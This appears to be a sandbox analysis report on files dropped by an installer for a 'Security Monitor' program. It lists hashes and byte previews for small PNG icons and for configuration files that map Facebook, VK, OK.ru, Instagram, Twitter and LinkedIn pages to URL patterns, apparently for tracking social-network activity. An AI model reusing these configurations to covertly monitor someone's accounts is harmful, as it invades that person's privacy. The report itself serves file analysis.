Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	479
Entropy (8bit):	7.089593114616156
Encrypted:	false
SSDEEP:	12:6v/78/nYc+5kz1ODz/QkR2gWWQQNjWPsiVY:SezqjQW2gfNjIsf
MD5:	011D15EB16A43A3A209EF0AA0AA18EEE
SHA1:	AA2B6FA0994415F1F8375FDA46EE3F3336777D9F
SHA-256:	12DC59580F6AD444E19F24260219FA0B9FDDC1B5873C1F9361C2063A8DC1A4E5
SHA-512:	81D9B1576636754E746523C032D822BB458D2F0FFC3632A132D3C64F32637888C5ADED498060D6020D17CC989DE96D639F8FDAA569F338ACCD810622D0C3C58B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....NIDAT8Oc`.......w...Q.+.....?>..r)5k...._....EG.G.-'.-...O.Z...p.....U..3.+m...+O..0w.....s.3.=y...Oa...O.......Z..5$.`...K.....z.........^...Y.6`.zH@.......#....ir...=.....E#(-....Z6.o...l....I2 .l....G..LZ\|.....8{.....;f.@.D.a C..{...../l..?.`..fX.....4...........[g.C..9)...)......w........;CP3.. . }p.....'.......{.........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-6R7T7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	288
Entropy (8bit):	6.530333940085824
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teNpjvb61Qo2SAo+yeZG7q5Vp:6v/78/n+jDqQmEyeZ8g
MD5:	EE2EC82FDFACF590ED0211B44987C617
SHA1:	71F0AFC24952BB5C2F334C56F801470176BCCEC2
SHA-256:	F8199692B7CE8D0C77D9DED524F679D64FF7723421345425B431EE933868AAC0
SHA-512:	220A8C913FED060F38FCA7835D508D8D88531EF940532E8173257741433ED7FB21223CD2EE1EDDB5E770BD44AA632F8B043481CED038167901D65C74A6CC6192
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`...:.?...?....8H...`C.*\.a....V.1H.........>...ge..\|...w..'...A.... 5-..`..U.}R.I. }.......y..).5..7.s.....u...?.p...t>..$.R.l ..[aR.O......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-AN4OF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	410
Entropy (8bit):	6.98484459691547
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teDEQYCdbzRpDoi7/hZTnWjiGTwiHiyiTVd7UiBwUCmi7yp:6v/78/nKEQYyb9pEm/DWjMJLiZ974
MD5:	0FB46F0A45701EA2D22DCAB7E82C8B5D
SHA1:	71FE89922F1F4DE4C1F7101607A18402F436069A
SHA-256:	C28F498E0C59B1E3741850574D9E7F9282D4BA6F90BFE175B3F24B69561A52EC
SHA-512:	B1E780BDED7AD696E28DC20FA8FEDC11C7A423D134083A6F24DA9D6044D67D1997FED26425939523B02B044FDBEA28D2C05BA039C5024B43DD87C4CECF88CD9C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8O..K..0..=....^....\.J.**.. ...Ek...T..Vt..$&}D...tf..3mRF.E.BQ+......r.....N?......O..A6.t...r.@G..r.P..r..P.1V... ;@.E..E..XS.Q@.@... ,...W......Y.#..{.p..3@........ ..`!@@w.#...."...\|6.D.....=..(....\|...<.@.Z.......b]....7;Z....~..K...7AN...'...L..P.......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-BSOFR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	386
Entropy (8bit):	7.00776812280233
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3tedVeog/dmQEyGZ34lO47R4pyOcVuAUrm7OGBQ6bp:6v/78/nyA5dmQHuU7SpyOcVtz/Bt1
MD5:	9321CA9A72F08DDF4987816DDCA3D413
SHA1:	DF2EE42EB884D660440C3EBE6D8227EA443DE23A
SHA-256:	46BD2F7186989CAA26BF20092F0BDBA9EC94357A69940F6C8EA16E8E5C0FAEA7
SHA-512:	F37F4348594CB29622B0CEFBD8515772DE49DE8040F906209D6EA44844BDBDDE1C88DF1167B13AFF3D3BF59A41831E7895EF1B4F5C03774B1060BD8FF5D76EAA
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8O./..P........a.h...a..n0..e.."XV.k........9........x....s.o.M.Z..}1MSt]W .+.....M.....E.$I.@.G.0...LA...X.%.a(..Q+6...Tr.*.h..@...9.54j.&.....JcnL.G...x.T..........Z...h.6....<..V..j..<y.f.@S2...d...O..^.T....T...{2..u.....=.q..x.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-DD09A.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	417
Entropy (8bit):	6.94896891695791
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3te4bUHmsrNAhcSAZF8qYe+QRePg5gJjsDzEm2I81SwJL2l/sc:6v/78/nXUfyFM8q5Ig5gIzjMZSN
MD5:	4C24F1DEA3731AF8E87753BF5809B7AA
SHA1:	E66175AEF9B3B505215D5B8E2502C78A6662493A
SHA-256:	501002F4107D366ABFD5659C858B56EF0A46C053236A83C2BF44AEAA4D41F510
SHA-512:	7AE28379921677BAAD7C011A4FD5D8BC61740A4F4F51D4C726B7765AD0FA4FAE098F3B3EC6E05043DB050F2E0028265DE7A2FE7943A6462790B590FF8787C917
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8OcH....V. ..c..@._\|xD....4.....a.......:r.A\..?..dt.A....'.A.P.x...H".e...}...O....H.n..G..#cl. k...b.....#cl. ..s...W..............l..n.......A.$.w...g..0<E....}...Y.,.7...s..S..?y...A.%].Q0..dq.. ...'U.DE....3.Y.l...........HpJ.e@......?y..'~...n.@.q*@....Pm...uJ....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-DVK2C.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	459
Entropy (8bit):	7.157014739512398
Encrypted:	false
SSDEEP:	12:6v/78/nhHoLgTdcsOkCuZ3I6xhC3kTGtjzx7:XdXau5I6pTi17
MD5:	73A35AA153A7310E1DE170CE339F0242
SHA1:	85016176CB165872D08073CB27F23600599F338C
SHA-256:	1B7F27805D3486ACC7D96371EA3E91436D9347D7D0E70ACE883E54BDF8ACCA40
SHA-512:	2EF8B50F7FB23D219DF2AD666665A90C18E83DE24685DD17107F09100E493611C480EC73CBDC3B5CFC07B6FE60CB74506E08F01C9C9144A1A1AD541AD6B6F36F
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....:IDAT8O.SAr.0.._...<.+.-?(\..v..!QwW....Pf48...Z...w>..x....{\|..n.X.Y....m.....g..........._.. .+.~..Y.?Z ......D..C......J..n...B..a.l...............,F..()`....... [ND9.n....Sr... .....ke...'...!.K...y..TFSz.=....2.....ZQ..K...8..=.8Q@.Y.Z..y.D.a.\|...(....G.0.)...g`<D.....4TA_4u....N.zp.OF....\...#.N.......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-EA13V.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	468
Entropy (8bit):	7.111349425204145
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3tezZiBETckBgamBUuzzCg5z7yDALRIjfq1iMrjWTa/IUlqauE:6v/78/nawkdmBUKf5zaIybM/WqTsY
MD5:	37DA94ECD734F687EF2BD6B876BA3918
SHA1:	20F07BFA0FCF04B900F5E78B503B9E7597BB652D
SHA-256:	310373B5A0CA520244BBC8C21837F356781DE404EBEEAD88A44AC149B4B3EFE1
SHA-512:	AF4D0182BE380DDD3972D905AE8800AA5720DD42FE62504090BBC5BF929771844C7F8DE7594851A562ED982FE3DD4EDA7B07D7177DD037C74A5D0EA510E7A863
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....CIDAT8Oc`...=./..'........x1H.^.~......p........2...b>..@..4o.u......?.j......Wt...2....\.......'./.\|....`z...O..G. .0.............+{v.]Q....$...._.....x.y...@,...?~c...S....-^..... .~.....~.....?~.....s.C...o.....i..'....4..y...b.Y.s...Uo._....u.Pb..r.8..@..6d.....(.{..A... v..(iB.h..... ..................5BJ.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-FHUQ2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	414
Entropy (8bit):	6.921441707444873
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teNq0dooGB9bqqTLPolIae+w2iYjDbg2UOj93OFo4wrbp:6v/78/nilvunTLseF2iYjfg29VOFS
MD5:	6D7B39EE6BA125324EC0457FB8B1CF30
SHA1:	E7B708B0D544F6B3137AB7E06914C8F318859DB3
SHA-256:	7A9A198F92900BF042FEDB164367091853F9E3517B389197234889E68A05B04E
SHA-512:	14CFE6B76479E2BD27E8893E2096B1A27B9B8726E3D70F64F163BEAD669E06D793AD176DF19073ECD5D491E7386A66F74E7AE8734DAC56DD292E401BD2382033
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`.T .q....U.Sk6.'.a5...o..............dHd....W...0s...E+)0`.. .IrA.P....h.y..v....Y.......gff.1H....n.O.^.6..I.e#;.....G. .....n3.v...Ov.1...@..0 .a.........S...a@$0.;g.B..f.6..x!...}.!..t\|........#...+..._..?..dL(.a..v.O...}.......F..8...P.3A6.'&..P.....e.K......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-FT54P.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	468
Entropy (8bit):	7.111349425204145
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3tezZiBETckBgamBUuzzCg5z7yDALRIjfq1iMrjWTa/IUlqauE:6v/78/nawkdmBUKf5zaIybM/WqTsY
MD5:	37DA94ECD734F687EF2BD6B876BA3918
SHA1:	20F07BFA0FCF04B900F5E78B503B9E7597BB652D
SHA-256:	310373B5A0CA520244BBC8C21837F356781DE404EBEEAD88A44AC149B4B3EFE1
SHA-512:	AF4D0182BE380DDD3972D905AE8800AA5720DD42FE62504090BBC5BF929771844C7F8DE7594851A562ED982FE3DD4EDA7B07D7177DD037C74A5D0EA510E7A863
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....CIDAT8Oc`...=./..'........x1H.^.~......p........2...b>..@..4o.u......?.j......Wt...2....\.......'./.\|....`z...O..G. .0.............+{v.]Q....$...._.....x.y...@,...?~c...S....-^..... .~.....~.....?~.....s.C...o.....i..'....4..y...b.Y.s...Uo._....u.Pb..r.8..@..6d.....(.{..A... v..(iB.h..... ..................5BJ.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-HTC07.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	259
Entropy (8bit):	6.365804366050187
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teZ439CTUXhR7P/jlOS+sknw69p:6v/78/n1NuUXP7PIS+sknTT
MD5:	845E4E3FF8D9BA304B19010CCBD47312
SHA1:	04EB66B1136F8CE4B6564B32E4BB48A48CDF245A
SHA-256:	52F38FE15504A9E7372B94C8881D1304C718673192CD64F0B90696F2BDC797A1
SHA-512:	84BE706BEF872CC3705ECEC96C227285FC1AC3FB6DAAAD1175C6F70DB5D4603BA5859869BD1DB4AB539193971252AE0CACC7C4D769DF589C221280E15DCDB564
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....rIDAT8Oc...?.%..9.r.....$a...^...j..'....._......H6.Y3Y...L...6..i4........0>.. )D..Ah.k...-[pbX."...D...83Q.........@X....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-IF041.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	341
Entropy (8bit):	6.666726809754627
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teHAFYqNQHvot6aM1nqJyVlMt+OxMp:6v/78/noAF2vonMDHs+Ox+
MD5:	7D35A55137029755B25CA2B25F54D7AE
SHA1:	22C1FA56B55C250889EB7B2AECE02803F34E4D43
SHA-256:	07256C3BA7DF49D4258054B35AFD01555CC25BD32D19DA852F1077C5B298A8CD
SHA-512:	2FFE767C9FCE4BC994460E7071579B6DF94A650FF9E3F9CC0538D599CD40178304302583C826F9CF39BAD2F160433E264BD2265DB17D016FA60158EF34461D0A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`..L.........@...K.....?..O....Y.e...m./...7.....A. .Y-V.@.a......I6...p. C@\|.!X].jZ... ........n....A\|......l...)\|py5..77...X.....p.a....^@.@........x.@Jz...$..^......7.23.....y..?..k.......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-ISATB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	409
Entropy (8bit):	7.015430309226083
Encrypted:	false
SSDEEP:	12:6v/78/ntuuZyeN46QM3TNzORtgDjrSNNXH:j1yA47QRORtgXuL
MD5:	45409D06153FF84BDB5AB3E30C7CAB12
SHA1:	AB84313D7A29E9D9C6308E3B99CB247AAADE34C4
SHA-256:	52611BFC775199483CF8216F2FAEC18FD56B9D895A1173338B36BE5F14F5FC06
SHA-512:	7C21E74A7787B1F26F0A5A4ADC4B4D469C069F6A066E4AE45D72F5515696313BAEC74C9435E04B812521339918E08E2136EBAA81E4351053AF9D372BB372F377
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8O.S...0....fH&........3S.......f0s.}......Z...5...-,aM^zw.{}m..2..x...2.YC....$..u..........9I..-...(.R wf.G..0....>+...lr..f../R*q.q.3.......4M.`..q.c.....$6M..1&.K.F{.6....U=I..?...M.h1dFQd.`.#...zew..\.EAA......v...$...\.$.S.....K.W.b.d...w.....R.F......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-JIDC9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 17, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	362
Entropy (8bit):	6.744489136613283
Encrypted:	false
SSDEEP:	6:6v/lhPOtBUswMR/C+wZA3teVVIqGKvSdmD4lK6mj9I4OPDWwnqtzzfQ27r8aCwt2:6v/7K2sb/nK5GUonx4NMqtzzIorTtxdu
MD5:	0BAB4FC0FAACC30AC714DB34333BAA54
SHA1:	C5AA05973E3267D60F2C927AB67B16FCE8929118
SHA-256:	4E79FBF438C1F6B197D15B08619BCCF862E7076D11C75D0B9CE3007711D94347
SHA-512:	06B09980DB26DA14FB0E80EC2831A9B377112E97EAEAFF967221170A5E3D7FE70B940CCE934629CE0451D41457F1705D76B1E64181D8A9D062FA0C4BD77E34AE
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............,.....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`.6..Z......7c...x....>\|.Aj@j.......`....;...F6.l.....@...A....R.3....g..f.......@.+p........R.....i.:r...Hid3(.Q.....6.G...*.#...>!`...j.r... K@.a...?r4"kD.Z..h......x..B.^......D.....`.@5..n....5.r.>y.E.".........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-JQ20S.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	337
Entropy (8bit):	6.603752167197913
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3te+/CG3J1R7/1JrZywu9ym9mmAivY6Ppmj/jp:6v/78/nfCG3JHVywuUm9mmAiQ6Bmh
MD5:	58280774747B0A7F0CA8B29DACA0B917
SHA1:	0BEEDF45E1CC739DAD3886AD1532A05BDFD2A3E8
SHA-256:	A7FA8ED622AECB52E7FDB363B32CC44C3A6FF5837FF78917DD177DBBE15B7DD6
SHA-512:	21FCDC686E3B700753E975C7A78884E7C0EBAF0ADABF13152B199B97F7F1F6F8FBAF1295ABDA7E2FA5D81683894EB280C1AA92E6695AEA56A289E9F17AE4095E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc.....?k1Y......g...s.!.......h...,.........3x..k`>.F....`.P.S....7..O`.A4.}'.]....`..`.@4Lq..`.@4^.`....X.!..r@b."r."..l.r.P/.T..$9!..].//XG...4.\|.........4..'h.H...........CK.Tl.u....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-PJPPP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	307
Entropy (8bit):	6.610384624893472
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3tepODZkidAJRzwBtNpQ+YiMpOhbi9eo77Vp:6v/78/nffTBvpQRiombi9j7
MD5:	06CE05DA1418C5F5B952911492F1D313
SHA1:	17A0D4EBD1E5A5BD338ECCAEF1CA9944EEC7C156
SHA-256:	380154EAE1DE86B8AA27433A0044FBB471A0C067E14DD8DD740F6419A06F0EFB
SHA-512:	3735BF636D31B885B429EA1C70CCC3850666A801C53B40F5570EF584D6180486E22A06DB31757987DDC5EDBB209CBF2790A8DB2566C8962107519CEC75F7A871
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`.p.i.....da.^.....>..Az..x{{...g..^ ..7...a....@.c.............>0...5.W.X...;......765.....b]........... .06..`~.?........0Y..{......_......,..Kqf....l9pA}....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-QPRL4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	331
Entropy (8bit):	6.6701546506374205
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teRZQUgXtmGvGDJ0IkloKlVJjh60HEwTp:6v/78/nGboZvGDQbRF9
MD5:	CC83BBCB39E5B47545CBDFBABFE69864
SHA1:	C2EBFD1842B6877B69F32E00AE7A55BCFA063802
SHA-256:	71197BC1C1D20F42851D4F5ABD91CD47D6C52E9C0100CEC8FBCC57B2E515B4B3
SHA-512:	929369F0D508A6326C0019701CA56E4694109DF2D2EE5372B6F2227F16E7FAC367263CF4065E8E493CC2D69129C116D582076040CBC71A70AF4CCD128BC62165
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc` ..t.>....9A.@E.../...b. ...`..H...Ob..).j...?.q..........0A5&!..r..T\|1A......c.Wpj..R....I.....4......K......@z....4......../ ?.;~..o.4.....(.......E%z....J.@J@"..r.....".#....4.........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\is-4PJ4H.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Generic INItialization configuration [Friends]
Category:	dropped
Size (bytes):	162
Entropy (8bit):	4.685024049706956
Encrypted:	false
SSDEEP:	3:QRUXdrx9reugHovdMTaW4/d1amqKL946WImgK4/d1amqKLrjM+n:KOdrDeaMB4FQ7l9NgK4/dQ7r+n
MD5:	CFA4D0ED34E826F2A6A243ADCE69C272
SHA1:	F4C7EA1EFC0FD6A61706120C4BF66452418805EC
SHA-256:	9202BF8E81E98F492F5610A2F67E6CF8882890484F0F8E7B43EE9DA2D2372B70
SHA-512:	66663614DCBBC9E62E91A2B34B1518AD3EB7C78C39F8DA9523F1D17A7CBC3000EAC7F7373A698BF9F76A3B395EB857393225E4E77216EBEE06C83CF0D871FF88
Malicious:	false
Reputation:	unknown
Preview:	[Messages]..ID="vk.com/im"..[Friends]..ID="vk.com/friends"..[Notifications]..ID="vk.com/feed?section=notifications"..[Replies]..ID="vk.com/feed?section=replies"..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\is-ACPUD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Generic INItialization configuration [Marks]
Category:	dropped
Size (bytes):	159
Entropy (8bit):	4.674458029739085
Encrypted:	false
SSDEEP:	3:91A2vTzyosXO/ovsh2vJ5Im5B9gHovNRN4o6bHiys6SIFv9oc:91A2vT+vm/h2v8ARNmi/6S+v9oc
MD5:	6BD299C4CBF0029EA3F2F85BE0268693
SHA1:	D45F93594FEEA321B778C691051CE9B47D13D480
SHA-256:	BB9DBEEE227D18FFB6BE8AE4C33D681CC8A04FF1120F69EBF73E98E4302C6051
SHA-512:	7EEDA815F4D91D0B588DA4B0F3EFB222CA189A8E42333B1664EC9520FD1BA68EF80ABC9F4B965CD5657A0334B8AED2C412DC79CEEF9EC34867CC429A51C1E95E
Malicious:	false
Reputation:	unknown
Preview:	[Guests]..ID="ok.ru/guests"..[Marks]..ID="ok.ru/marks"..[Friends]..ID="/friends"..[Photos]..ID="/photos"..[About]..ID="/about"..[Profiles]..ID="ok.ru/profile/"

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\is-IMKB1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Generic INItialization configuration [News]
Category:	dropped
Size (bytes):	859
Entropy (8bit):	4.858296034006616
Encrypted:	false
SSDEEP:	12:Ty3COfcKd063/4Ga1rmWCdmr1gm+amVyxpgmkmAEnnmmImC4dmEnq:+kKGQiC5Enrq
MD5:	4A6A1B208E79D27168441977D43897FC
SHA1:	FAE08C5EF8DB510F634E46623AB09C63EA9C3F8A
SHA-256:	F2B9D0C45FA2A9B15BB9694C26BD75B45B4E011B99D80604D2984C0F856B2AD9
SHA-512:	79E43D69F7973750B534BDE680380BC912B906F3D3D848255BA3F8ADE4DC7FAD460CD0FF14230AEAED4285F291D6510AF57FA1F9876ABEFDE1F6D56890B35D03
Malicious:	false
Reputation:	unknown
Preview:	[Welcome]..ID="facebook.com/?sk=welcome"..[News]..ID="facebook.com/?sk=nf"..[Messages]..ID="facebook.com/messages"..[Events]..ID="facebook.com/events"..[Find friends]..ID="facebook.com/find-friends/browser"..[Invite friends]..ID="facebook.com/?sk=ff"..[Friends]..ID="facebook.com/lists"..[Friends List]..ID="/friends?ft_ref=flsa"..[Groups]..ID="facebook.com/bookmarks/groups"..[Settings]..ID="facebook.com/settings?tab=account"..[Security]..ID="facebook.com/settings?tab=security"..[Notifications]..ID="facebook.com/settings?tab=notifications"..[Subscribers]..ID="facebook.com/settings?tab=subscribers"..[Apps]..ID="facebook.com/settings?tab=applications"..[Payments]..ID="facebook.com/settings?tab=payments"..[Facebook Ads]..ID="facebook.com/settings?tab=ads"..[Gifts]..ID="facebook.com/settings?tab=gifts"..[Privacy]..ID="facebook.com/settings/?tab=privacy"

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\is-7MDVH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.314915181326778
Encrypted:	false
SSDEEP:	3:LqRlJbXyi6AA:2lBrA
MD5:	D584582812D6A2E882BE885DD27E18E5
SHA1:	388346E2897C7849D8F7E38A2450377023503257
SHA-256:	63B34D170783C35985AB770AA19CE31E5AC8C90899423BE3A587B1CF17D417B8
SHA-512:	C057ED6B8AD5DB53BD6D4FC556E03F3D6607D06A35D4FE91BD16B39E2DC9822FC7F1C740BA89297D31F645047B7941DE1501115ED2159180BC41B4B37C9F1D83
Malicious:	false
Reputation:	unknown
Preview:	Facebook..Instagram..Youtube..Twitter..LinkedIn

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\is-FCREC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Generic INItialization configuration [Instagram]
Category:	dropped
Size (bytes):	2361
Entropy (8bit):	5.086790461308817
Encrypted:	false
SSDEEP:	48:lkYaqeR/Mfg1mg6kL33dMLoXL2MK7hWNPE0hx8wgOV+U3DkROxPDv:ukgEEx6O+m+YPFYyJ
MD5:	C846DA6EDAA3DA7B84D7C275232E7113
SHA1:	48EFA8A9F71BA06A8AEF67786F234CCFF43EBFF1
SHA-256:	4AAEB9FA982ADED9CE384AFDD72AD2D9F25F4D4803D29936D86F3836F71ED323
SHA-512:	69259712A33EEAAAB99503C95E8F5F5614ECBD300065EED89181A26DFF15621F69D7B995212EBD6062A739C0A05B0BFED11E5B367AE91A6D80895519F75CA455
Malicious:	false
Reputation:	unknown
Preview:	[Facebook]..ID="facebook.com"..NodeID=31..msgID="facebook.com/messages"..SearchID="facebook.com/search/results.php"..QueryID="?q="..LoginOk="facebook.com/?sk=welcome"..[Instagram]..ID="instagram.com"..NodeID=68..msgID=""..SearchID=""..QueryID=""..LoginOk=""..[Youtube]..ID="youtube.com"..NodeID=69..msgID=""..SearchID="youtube.com/results?search_query"..QueryID="?search_query"..LoginOk=""..[Twitter]..ID="twitter.com"..NodeID=33..msgID="twitter.com"..SearchID="twitter.com/i/#!/search"..QueryID="#!/search/"..LoginOk=""..[LinkedIn]..ID="linkedin.com"..NodeID=35..msgID="linkedin.com/msgToConns"..SearchID="linkedin.com/search"..QueryID="keywords="..LoginOk="linkedin.com/home"..[Myspace]..ID="myspace.com"..NodeID=32..msgID="http://www.myspace.com/my/mail"..SearchID="http://www.myspace.com/